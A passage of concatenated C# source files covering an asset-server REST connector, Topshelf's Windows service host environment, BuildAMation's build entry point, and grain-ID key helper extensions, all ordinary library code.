m_Cache.Cache(asset); return asset.ID; } string uri = m_ServerURI + "/assets/"; string newID = string.Empty; try { newID = SynchronousRestObjectRequester. MakeRequest<AssetBase, string>("POST", uri, asset); } catch (Exception e) { m_log.WarnFormat("[ASSET CONNECTOR]: Unable to send asset {0} to asset server. Reason: {1}", asset.ID, e.Message); } if (newID != String.Empty) { // Placing this here, so that this work with old asset servers that don't send any reply back // SynchronousRestObjectRequester returns somethins that is not an empty string if (newID != null) asset.ID = newID; if (m_Cache != null) m_Cache.Cache(asset); } return newID; } public bool UpdateContent(string id, byte[] data) { AssetBase asset = null; if (m_Cache != null) asset = m_Cache.Get(id); if (asset == null) { AssetMetadata metadata = GetMetadata(id); if (metadata == null) return false; asset = new AssetBase(metadata.FullID, metadata.Name, metadata.Type); asset.Metadata = metadata; } asset.Data = data; string uri = m_ServerURI + "/assets/" + id; if (SynchronousRestObjectRequester. MakeRequest<AssetBase, bool>("POST", uri, asset)) { if (m_Cache != null) m_Cache.Cache(asset); return true; } return false; } public bool Delete(string id) { string uri = m_ServerURI + "/assets/" + id; if (SynchronousRestObjectRequester. MakeRequest<int, bool>("DELETE", uri, 0)) { if (m_Cache != null) m_Cache.Expire(id); return true; } return false; } private void HandleDumpAsset(string module, string[] args) { if (args.Length != 4) { MainConsole.Instance.Output("Syntax: dump asset <id> <file>"); return; } UUID assetID; if (!UUID.TryParse(args[2], out assetID)) { MainConsole.Instance.Output("Invalid asset ID"); return; } if (m_Cache == null) { MainConsole.Instance.Output("Instance uses no cache"); return; } AssetBase asset = m_Cache.Get(assetID.ToString()); if (asset == null) { MainConsole.Instance.Output("Asset not found in cache"); return; } string fileName = args[3]; FileStream fs = File.Create(fileName); fs.Write(asset.Data, 0, asset.Data.Length); fs.Close(); } } }
// Copyright 2007-2012 Chris Patterson, Dru Sellers, Travis Smith, et. al. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. namespace Topshelf.Runtime.Windows { using System; using System.ComponentModel; using System.Configuration.Install; using System.Diagnostics; using System.Linq; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Principal; using System.ServiceProcess; using Logging; using Topshelf.HostConfigurators; public class WindowsHostEnvironment : HostEnvironment { readonly LogWriter _log = HostLogger.Get(typeof(WindowsHostEnvironment)); private HostConfigurator _hostConfigurator; public WindowsHostEnvironment(HostConfigurator configurator) { _hostConfigurator = configurator; } public bool IsServiceInstalled(string serviceName) { if (Type.GetType("Mono.Runtime") != null) { return false; } return IsServiceListed(serviceName); } public bool IsServiceStopped(string serviceName) { using (var sc = new ServiceController(serviceName)) { return sc.Status == ServiceControllerStatus.Stopped; } } public void StartService(string serviceName, TimeSpan startTimeOut) { using (var sc = new ServiceController(serviceName)) { if (sc.Status == ServiceControllerStatus.Running) { _log.InfoFormat("The {0} service is already running.", serviceName); return; } if (sc.Status == ServiceControllerStatus.StartPending) { _log.InfoFormat("The {0} service is already starting.", serviceName); return; } if (sc.Status == ServiceControllerStatus.Stopped || sc.Status == ServiceControllerStatus.Paused) { sc.Start(); sc.WaitForStatus(ServiceControllerStatus.Running, startTimeOut); } else { // Status is StopPending, ContinuePending or PausedPending, print warning _log.WarnFormat("The {0} service can't be started now as it has the status {1}. Try again later...", serviceName, sc.Status.ToString()); } } } public void StopService(string serviceName, TimeSpan stopTimeOut) { using (var sc = new ServiceController(serviceName)) { if (sc.Status == ServiceControllerStatus.Stopped) { _log.InfoFormat("The {0} service is not running.", serviceName); return; } if (sc.Status == ServiceControllerStatus.StopPending) { _log.InfoFormat("The {0} service is already stopping.", serviceName); return; } if (sc.Status == ServiceControllerStatus.Running || sc.Status == ServiceControllerStatus.Paused) { sc.Stop(); sc.WaitForStatus(ServiceControllerStatus.Stopped, stopTimeOut); } else { // Status is StartPending, ContinuePending or PausedPending, print warning _log.WarnFormat("The {0} service can't be stopped now as it has the status {1}. Try again later...", serviceName, sc.Status.ToString()); } } } public string CommandLine { get { return CommandLineParser.CommandLine.GetUnparsedCommandLine(); } } public bool IsAdministrator { get { WindowsIdentity identity = WindowsIdentity.GetCurrent(); if (null != identity) { var principal = new WindowsPrincipal(identity); return principal.IsInRole(WindowsBuiltInRole.Administrator); } return false; } } public bool IsRunningAsAService { get { try { Process process = GetParent(Process.GetCurrentProcess()); if (process != null && process.ProcessName == "services") { _log.Debug("Started by the Windows services process"); return true; } } catch (InvalidOperationException) { // again, mono seems to fail with this, let's just return false okay? } return false; } } public bool RunAsAdministrator() { if (Environment.OSVersion.Version.Major == 6) { string commandLine = CommandLine.Replace("--sudo", ""); var startInfo = new ProcessStartInfo(Assembly.GetEntryAssembly().Location, commandLine) { Verb = "runas", UseShellExecute = true, CreateNoWindow = true, }; try { HostLogger.Shutdown(); Process process = Process.Start(startInfo); process.WaitForExit(); return true; } catch (Win32Exception ex) { _log.Debug("Process Start Exception", ex); } } return false; } public Host CreateServiceHost(HostSettings settings, ServiceHandle serviceHandle) { return new WindowsServiceHost(this, settings, serviceHandle, this._hostConfigurator); } public void SendServiceCommand(string serviceName, int command) { using (var sc = new ServiceController(serviceName)) { if (sc.Status == ServiceControllerStatus.Running) { sc.ExecuteCommand(command); } else { _log.WarnFormat("The {0} service can't be commanded now as it has the status {1}. Try again later...", serviceName, sc.Status.ToString()); } } } public void InstallService(InstallHostSettings settings, Action beforeInstall, Action afterInstall, Action beforeRollback, Action afterRollback) { using (var installer = new HostServiceInstaller(settings)) { Action<InstallEventArgs> before = x => { if (beforeInstall != null) beforeInstall(); }; Action<InstallEventArgs> after = x => { if (afterInstall != null) afterInstall(); }; Action<InstallEventArgs> before2 = x => { if (beforeRollback != null) beforeRollback(); }; Action<InstallEventArgs> after2 = x => { if (afterRollback != null) afterRollback(); }; installer.InstallService(before, after, before2, after2); } } public void UninstallService(HostSettings settings, Action beforeUninstall, Action afterUninstall) { using (var installer = new HostServiceInstaller(settings)) { Action<InstallEventArgs> before = x => { if (beforeUninstall != null) beforeUninstall(); }; Action<InstallEventArgs> after = x => { if (afterUninstall != null) afterUninstall(); }; installer.UninstallService(before, after); } } Process GetParent(Process child) { if (child == null) throw new ArgumentNullException("child"); try { int parentPid = 0; IntPtr hnd = Kernel32.CreateToolhelp32Snapshot(Kernel32.TH32CS_SNAPPROCESS, 0); if (hnd == IntPtr.Zero) return null; var processInfo = new Kernel32.PROCESSENTRY32 { dwSize = (uint)Marshal.SizeOf(typeof(Kernel32.PROCESSENTRY32)) }; if (Kernel32.Process32First(hnd, ref processInfo) == false) return null; do { if (child.Id == processInfo.th32ProcessID) parentPid = (int)processInfo.th32ParentProcessID; } while (parentPid == 0 && Kernel32.Process32Next(hnd, ref processInfo)); if (parentPid > 0) return Process.GetProcessById(parentPid); } catch (Exception ex) { _log.Error("Unable to get parent process (ignored)", ex); } return null; } bool IsServiceListed(string serviceName) { bool result = false; try { result = ServiceController.GetServices() .Any(service => string.CompareOrdinal(service.ServiceName, serviceName) == 0); } catch (InvalidOperationException) { _log.Debug("Cannot access Service List due to permissions. Assuming the service is not installed."); } return result; } } }
#region License // Copyright (c) 2010-2019, Mark Final // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this // list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of BuildAMation nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #endregion // License using System.Linq; namespace Bam.Core { /// <summary> /// Utility class defining the entry point for Bam execution. /// </summary> public static class EntryPoint { /// <summary> /// Log the Bam version number, at the specified log level. /// </summary> /// <param name="level">Log level to use.</param> public static void PrintVersion( EVerboseLevel level) { var message = new System.Text.StringBuilder(); message.AppendLine($"BuildAMation (Bam) v{Core.Graph.Instance.ProcessState.VersionString} (c) Mark Final, 2010-2019. Licensed under BSD 3-clause. See License.md."); message.AppendLine("Parts of this software are licensed under the Microsoft Limited Public License (MS-PL). See MS-PL.md."); message.Append("Parts of this software use thirdparty open source software. See 3rdPartyLicenses.md."); Core.Log.Message(level, message.ToString()); } /// <summary> /// Log the Bam version number, at the current log level. /// </summary> public static void PrintVersion() => PrintVersion(Graph.Instance.VerbosityLevel); /// <summary> /// Bam execution /// - find all packages required /// - compile all package scripts into an assembly (unless in a debug project) /// - generate metadata for each package /// - create top-level modules, i.e. modules in the package in which Bam was invoked (performed by namespace lookup /// and all sealed module classes), without any knowledge of inter-dependencies /// - invoke the Init functions on each created module, and begin sorting modules into rank collections, and creating /// instances of non-top-level modules that are required. If a module has a tool, the default settings are created for /// each module. /// - validate the dependencies created, so that there are no cyclic dependencies, or modules in the wrong rank to /// satisfy their dependencies /// - execute the settings patches where they exist, so that module settings are now configured as the user specified them /// - expand all TokenizedStrings that have been created /// - (display the dependency graph if the user specified the command line option) /// - execute the dependency graph, from highest rank to lowest rank, using the build mode specified by the user. /// </summary> /// <param name="environments">An array of Environments in which to generate modules.</param> /// <param name="packageAssembly">Optional Assembly containing the package code. Defaults to null. Only required when building as part of a debug project.</param> public static void Execute( Array<Environment> environments, System.Reflection.Assembly packageAssembly = null) { PrintVersion(); if (!environments.Any()) { throw new Exception("No build configurations were specified"); } var graph = Graph.Instance; if (null != packageAssembly) { PackageUtilities.IdentifyAllPackages(allowDuplicates: false); graph.ScriptAssembly = packageAssembly; graph.ScriptAssemblyPathname = packageAssembly.Location; } else { PackageUtilities.CompilePackageAssembly(true); PackageUtilities.LoadPackageAssembly(); } var packageMetaDataProfile = new TimeProfile(ETimingProfiles.PackageMetaData); packageMetaDataProfile.StartProfile(); // validate that there is at most one local policy // if test mode is enabled, then the '.tests' sub-namespaces are also checked { var localPolicyTypes = graph.ScriptAssembly.GetTypes().Where(t => typeof(ISitePolicy).IsAssignableFrom(t)); if (!graph.UseTestsNamespace) { localPolicyTypes = localPolicyTypes.Where(item => !item.Namespace.EndsWith(".tests", System.StringComparison.Ordinal)); } var numLocalPolicies = localPolicyTypes.Count(); if (numLocalPolicies > 0) { if (numLocalPolicies > 1) { Log.MessageAll(graph.MasterPackage.Name); var masterPolicyType = localPolicyTypes.FirstOrDefault(item => item.Namespace.StartsWith(graph.MasterPackage.Name, System.StringComparison.Ordinal)); if (null != masterPolicyType) { var message = new System.Text.StringBuilder(); message.AppendLine("More than one site policies exist in the package assembly:"); foreach (var policy in localPolicyTypes) { message.AppendLine($"\t{policy.ToString()}"); } message.AppendLine($"Choosing master policy type: {masterPolicyType.ToString()}"); Log.DebugMessage(message.ToString()); Settings.LocalPolicy = System.Activator.CreateInstance(masterPolicyType) as ISitePolicy; } else { var message = new System.Text.StringBuilder(); message.AppendLine("Too many site policies exist in the package assembly:"); foreach (var policy in localPolicyTypes) { message.AppendLine($"\t{policy.ToString()}"); } throw new Exception(message.ToString()); } } else { Settings.LocalPolicy = System.Activator.CreateInstance(localPolicyTypes.First()) as ISitePolicy; } } } // find a product definition { var productDefinitions = graph.ScriptAssembly.GetTypes().Where(t => typeof(IProductDefinition).IsAssignableFrom(t)); var numProductDefinitions = productDefinitions.Count(); if (numProductDefinitions > 0) { if (numProductDefinitions > 1) { var message = new System.Text.StringBuilder(); message.AppendLine("Too many product definitions exist in the package assembly:"); foreach (var def in productDefinitions) { message.AppendLine($"\t{def.ToString()}"); } throw new Exception(message.ToString()); } graph.ProductDefinition = System.Activator.CreateInstance(productDefinitions.First()) as IProductDefinition; } } // get the metadata from the build mode package var metaName = $"{graph.Mode}Builder.{graph.Mode}Meta"; var metaDataType = graph.ScriptAssembly.GetType(metaName); if (null == metaDataType) { throw new Exception( $"No build mode {graph.Mode} meta data type {metaName}" ); } if (!typeof(IBuildModeMetaData).IsAssignableFrom(metaDataType)) { throw new Exception( $"Build mode package meta data type {metaDataType.ToString()} does not implement the interface {typeof(IBuildModeMetaData).ToString()}" ); } graph.BuildModeMetaData = System.Activator.CreateInstance(metaDataType) as IBuildModeMetaData; // packages can have meta data - instantiate where they exist foreach (var package in graph.Packages) { var ns = package.Name; var metaType = graph.ScriptAssembly.GetTypes().FirstOrDefault(item => System.String.Equals(item.Namespace, ns, System.StringComparison.Ordinal) && typeof(PackageMetaData).IsAssignableFrom(item) ); if (null == metaType) { continue; } if (metaType.IsAbstract) { // used for base classes continue; } if (null != package.MetaData) { // already been instantiated continue; } package.MetaData = Graph.InstantiatePackageMetaData(metaType); } // look for module configuration override { var overrides = graph.ScriptAssembly.GetTypes().Where(t => typeof(IOverrideModuleConfiguration).IsAssignableFrom(t)); if (graph.UseTestsNamespace) { overrides = overrides.Where(item => item.Namespace.Contains(".tests")); } else { overrides = overrides.Where(item => !item.Namespace.Contains(".tests")); } var numOverrides = overrides.Count(); if (numOverrides > 0) { if (numOverrides > 1) { var nonTestNamespaces = overrides.Where(item => !item.Namespace.Contains(".tests")); var testNamespaces = overrides.Where(item => item.Namespace.Contains(".tests")); if (nonTestNamespaces.Count() > 1 || testNamespaces.Count() > 1) { var message = new System.Text.StringBuilder(); message.AppendLine($"Too many implementations of {typeof(IOverrideModuleConfiguration).ToString()}"); foreach (var oride in overrides) { message.AppendLine($"\t{oride.ToString()}"); } throw new Exception(message.ToString()); } else { if (graph.UseTestsNamespace) { // prefer test namespace overrides if (1 == testNamespaces.Count()) { graph.OverrideModuleConfiguration = System.Activator.CreateInstance(testNamespaces.First()) as IOverrideModuleConfiguration; } else if (1 == nonTestNamespaces.Count()) { graph.OverrideModuleConfiguration = System.Activator.CreateInstance(nonTestNamespaces.First()) as IOverrideModuleConfiguration; } } else { // prefer non-test namespace overrides if (1 == nonTestNamespaces.Count()) { graph.OverrideModuleConfiguration = System.Activator.CreateInstance(nonTestNamespaces.First()) as IOverrideModuleConfiguration; } else if (1 == testNamespaces.Count()) { graph.OverrideModuleConfiguration = System.Activator.CreateInstance(testNamespaces.First()) as IOverrideModuleConfiguration; } } } } else { graph.OverrideModuleConfiguration = System.Activator.CreateInstance(overrides.First()) as IOverrideModuleConfiguration; } } } packageMetaDataProfile.StopProfile(); var topLevelNamespace = graph.MasterPackage.Name; var findBuildableModulesProfile = new TimeProfile(ETimingProfiles.IdentifyBuildableModules); findBuildableModulesProfile.StartProfile(); // Phase 1: Instantiate all modules in the namespace of the package in which the tool was invoked Log.Detail("Creating modules..."); foreach (var env in environments) { graph.CreateTopLevelModules(graph.ScriptAssembly, env, topLevelNamespace); } findBuildableModulesProfile.StopProfile(); var populateGraphProfile = new TimeProfile(ETimingProfiles.PopulateGraph); populateGraphProfile.StartProfile(); // Phase 2: Graph now has a linear list of modules; create a dependency graph // NB: all those modules with 0 dependees are the top-level modules // NB: default settings have already been defined here // not only does this generate the dependency graph, but also creates the default settings for each module, and completes them graph.SortDependencies(); populateGraphProfile.StopProfile(); // TODO: make validation optional, if it starts showing on profiles var validateGraphProfile = new TimeProfile(ETimingProfiles.ValidateGraph); validateGraphProfile.StartProfile(); graph.Validate(); validateGraphProfile.StopProfile(); // Phase 3: (Create default settings, and ) apply patches (build + shared) to each module // NB: some builders can use the patch directly for child objects, so this may be dependent upon the builder // Toolchains for modules need to be set here, as they might append macros into each module in order to evaluate paths // TODO: a parallel thread can be spawned here, that can check whether command lines have changed // the Settings object can be inspected, and a hash generated. This hash can be written to disk, and compared. // If a 'verbose' mode is enabled, then more work can be done to figure out what has changed. This would also require // serializing the binary Settings object var createPatchesProfile = new TimeProfile(ETimingProfiles.CreatePatches); createPatchesProfile.StartProfile(); graph.ApplySettingsPatches(); createPatchesProfile.StopProfile(); // expand paths after patching settings, because some of the patches may contain tokenized strings // TODO: a thread can be spawned, to check for whether files were in date or not, which will // be ready in time for graph execution var parseStringsProfile = new TimeProfile(ETimingProfiles.ParseTokenizedStrings); parseStringsProfile.StartProfile(); TokenizedString.ParseAll(); parseStringsProfile.StopProfile(); if (CommandLineProcessor.Evaluate(new Options.ViewDependencyGraph())) { // must come after all strings are parsed, in order to display useful paths graph.Dump(); } // Phase 4: Execute dependency graph // N.B. all paths (including those with macros) have been delayed expansion until now var graphExecutionProfile = new TimeProfile(ETimingProfiles.GraphExecution); graphExecutionProfile.StartProfile(); var executor = new Executor(); executor.Run(); graphExecutionProfile.StopProfile(); } } }
using System; using System.Buffers.Text; using System.Diagnostics; using System.Runtime.CompilerServices; using System.Text; namespace FakeFx.Runtime { /// <summary> /// Extensions for <see cref="GrainId"/> keys. /// </summary> public static class GrainIdKeyExtensions { /// <summary> /// Creates an <see cref="IdSpan"/> representing a <see cref="long"/> key. /// </summary> public static IdSpan CreateIntegerKey(long key) { Span<byte> buf = stackalloc byte[sizeof(long) * 2]; Utf8Formatter.TryFormat(key, buf, out var len, 'X'); Debug.Assert(len > 0); return new IdSpan(buf.Slice(0, len).ToArray()); } /// <summary> /// Creates an <see cref="IdSpan"/> representing a <see cref="long"/> key. /// </summary> public static IdSpan CreateIntegerKey(long key, string keyExtension) { if (string.IsNullOrWhiteSpace(keyExtension)) { return CreateIntegerKey(key); } Span<byte> tmp = stackalloc byte[sizeof(long) * 2]; Utf8Formatter.TryFormat(key, tmp, out var len, 'X'); Debug.Assert(len > 0); var extLen = Encoding.UTF8.GetByteCount(keyExtension); var buf = new byte[len + 1 + extLen]; tmp.Slice(0, len).CopyTo(buf); buf[len] = (byte)'+'; Encoding.UTF8.GetBytes(keyExtension, 0, keyExtension.Length, buf, len + 1); return new IdSpan(buf); } /// <summary> /// Creates an <see cref="IdSpan"/> representing a <see cref="Guid"/> key. /// </summary> public static IdSpan CreateGuidKey(Guid key) { var buf = new byte[32]; Utf8Formatter.TryFormat(key, buf, out var len, 'N'); Debug.Assert(len == 32); return new IdSpan(buf); } /// <summary> /// Creates an <see cref="IdSpan"/> representing a <see cref="Guid"/> key. /// </summary> public static IdSpan CreateGuidKey(Guid key, string keyExtension) { if (string.IsNullOrWhiteSpace(keyExtension)) { return CreateGuidKey(key); } var extLen = Encoding.UTF8.GetByteCount(keyExtension); var buf = new byte[32 + 1 + extLen]; Utf8Formatter.TryFormat(key, buf, out var len, 'N'); Debug.Assert(len == 32); buf[32] = (byte)'+'; Encoding.UTF8.GetBytes(keyExtension, 0, keyExtension.Length, buf, 33); return new IdSpan(buf); } /// <summary> /// Returns the <see cref="long"/> representation of a grain primary key. /// </summary> public static bool TryGetIntegerKey(this GrainId grainId, out long key, out string keyExt) { keyExt = null; var keyString = grainId.Key.AsSpan(); if (keyString.IndexOf((byte)'+') is int index && index >= 0) { keyExt = keyString.Slice(index + 1).GetUtf8String(); keyString = keyString.Slice(0, index); } return Utf8Parser.TryParse(keyString, out key, out var len, 'X') && len == keyString.Length; } /// <summary> /// Returns the <see cref="long"/> representation of a grain primary key. /// </summary> internal static bool TryGetIntegerKey(this GrainId grainId, out long key) { var keyString = grainId.Key.AsSpan(); if (keyString.IndexOf((byte)'+') is int index && index >= 0) { keyString = keyString.Slice(0, index); } return Utf8Parser.TryParse(keyString, out key, out var len, 'X') && len == keyString.Length; } /// <summary> /// Returns the <see cref="long"/> representation of a grain primary key. /// </summary> /// <param name="grainId">The grain to find the primary key for.</param> /// <param name="keyExt">The output parameter to return the extended key part of the grain primary key, if extended primary key was provided for that grain.</param> /// <returns>A long representing the primary key for this grain.</returns> public static long GetIntegerKey(this GrainId grainId, out string keyExt) { if (!grainId.TryGetIntegerKey(out var result, out keyExt)) { ThrowInvalidIntegerKeyFormat(grainId); } return result; } /// <summary> /// Returns the long representation of a grain primary key. /// </summary> /// <param name="grainId">The grain to find the primary key for.</param> /// <returns>A long representing the primary key for this grain.</returns> public static long GetIntegerKey(this GrainId grainId) { if (!grainId.TryGetIntegerKey(out var result)) { ThrowInvalidIntegerKeyFormat(grainId); } return result; } /// <summary> /// Returns the <see cref="Guid"/> representation of a grain primary key. /// </summary> public static bool TryGetGuidKey(this GrainId grainId, out Guid key, out string keyExt) { keyExt = null; var keyString = grainId.Key.AsSpan(); if (keyString.Length > 32 && keyString[32] == (byte)'+') { keyExt = keyString.Slice(33).GetUtf8String(); keyString = keyString.Slice(0, 32); } if (keyString.Length != 32) { key = default; return false; } return Utf8Parser.TryParse(keyString, out key, out var len, 'N') && len == 32; } /// <summary> /// Returns the <see cref="Guid"/> representation of a grain primary key. /// </summary> internal static bool TryGetGuidKey(this GrainId grainId, out Guid key) { var keyString = grainId.Key.AsSpan(); if (keyString.Length > 32 && keyString[32] == (byte)'+') { keyString = keyString.Slice(0, 32); } if (keyString.Length != 32) { key = default; return false; } return Utf8Parser.TryParse(keyString, out key, out var len, 'N') && len == 32; } /// <summary> /// Returns the <see cref="Guid"/> representation of a grain primary key. /// </summary> /// <param name="grainId">The grain to find the primary key for.</param> /// <param name="keyExt">The output parameter to return the extended key part of the grain primary key, if extended primary key was provided for that grain.</param> /// <returns>A <see cref="Guid"/> representing the primary key for this grain.</returns> public static Guid GetGuidKey(this GrainId grainId, out string keyExt) { if (!grainId.TryGetGuidKey(out var result, out keyExt)) { ThrowInvalidGuidKeyFormat(grainId); } return result; } /// <summary> /// Returns the <see cref="Guid"/> representation of a grain primary key. /// </summary> /// <param name="grainId">The grain to find the primary key for.</param> /// <returns>A <see cref="Guid"/> representing the primary key for this grain.</returns> public static Guid GetGuidKey(this GrainId grainId) { if (!grainId.TryGetGuidKey(out var result)) { ThrowInvalidGuidKeyFormat(grainId); } return result; } [MethodImpl(MethodImplOptions.NoInlining)] private static void ThrowInvalidGuidKeyFormat(GrainId grainId) => throw new ArgumentException($"Value \"{grainId}\" is not in the correct format for a Guid key.", nameof(grainId)); [MethodImpl(MethodImplOptions.NoInlining)] private static void ThrowInvalidIntegerKeyFormat(GrainId grainId) => throw new ArgumentException($"Value \"{grainId}\" is not in the correct format for an Integer key.", nameof(grainId)); internal static unsafe string GetUtf8String(this ReadOnlySpan<byte> span) { fixed (byte* bytes = span) { return Encoding.UTF8.GetString(bytes, span.Length); } } } }